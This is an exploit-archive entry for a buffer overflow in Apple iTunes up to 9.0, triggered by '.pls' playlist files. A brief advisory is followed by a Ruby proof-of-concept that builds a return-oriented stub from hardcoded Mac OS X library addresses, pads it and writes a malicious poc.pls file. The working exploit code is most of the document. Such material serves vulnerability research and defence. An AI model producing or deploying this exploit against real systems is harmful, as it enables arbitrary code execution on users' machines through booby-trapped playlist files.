Apple iTunes <= 9.0 '.pls' File Buffer Overflow Vulnerability

source: http://www.securityfocus.com/bid/36478/info Apple iTunes is prone to a buffer-overflow vulnerability because the software fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer. An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. Versions prior to Apple iTunes 9.0.1 are vulnerable. #!/usr/bin/env ruby SETJMP = 0x92F04224 JMP_BUF = 0x8fe31290 STRDUP = 0x92EED110 # 8fe24459 jmp *%eax JMP_EAX = 0x8fe24459 def make_exec_payload_from_heap_stub() frag0 = &#34;\x90&#34; + # nop &#34;\x58&#34; + # pop eax &#34;\x61&#34; + # popa &#34;\xc3&#34; # ret frag1 = &#34;\x90&#34; + # nop &#34;\x58&#34; + # pop eax &#34;\x89\xe0&#34; + # mov eax, esp &#34;\x83\xc0\x0c&#34; + # add eax, byte +0xc &#34;\x89\x44\x24\x08&#34; + # mov [esp+0x8], eax &#34;\xc3&#34; # ret exec_payload_from_heap_stub = frag0 + [SETJMP, JMP_BUF + 32, JMP_BUF].pack(&#34;V3&#34;) + frag1 + &#34;X&#34; * 20 + [SETJMP, JMP_BUF + 24, JMP_BUF, STRDUP, JMP_EAX].pack(&#34;V5&#34;) + &#34;X&#34; * 4 end payload_cmd = &#34;hereisthetrick&#34; stub = make_exec_payload_from_heap_stub() ext = &#34;A&#34; * 59 stub = make_exec_payload_from_heap_stub() exploit = ext + stub + payload_cmd # pls file format file = &#34;[playlist]\n&#34; file += &#34;NumberOfEntries=1\n&#34; file += &#34;File1=http://1/asdf.&#34; + exploit + &#34;\n&#34; file += &#34;Title1=asdf\n&#34; file += &#34;Length1=100\n&#34; file += &#34;Version=2&#34; + &#39;\n&#39; File.open(&#39;poc.pls&#39;,&#39;w&#39;) do |f| f.puts file f.close end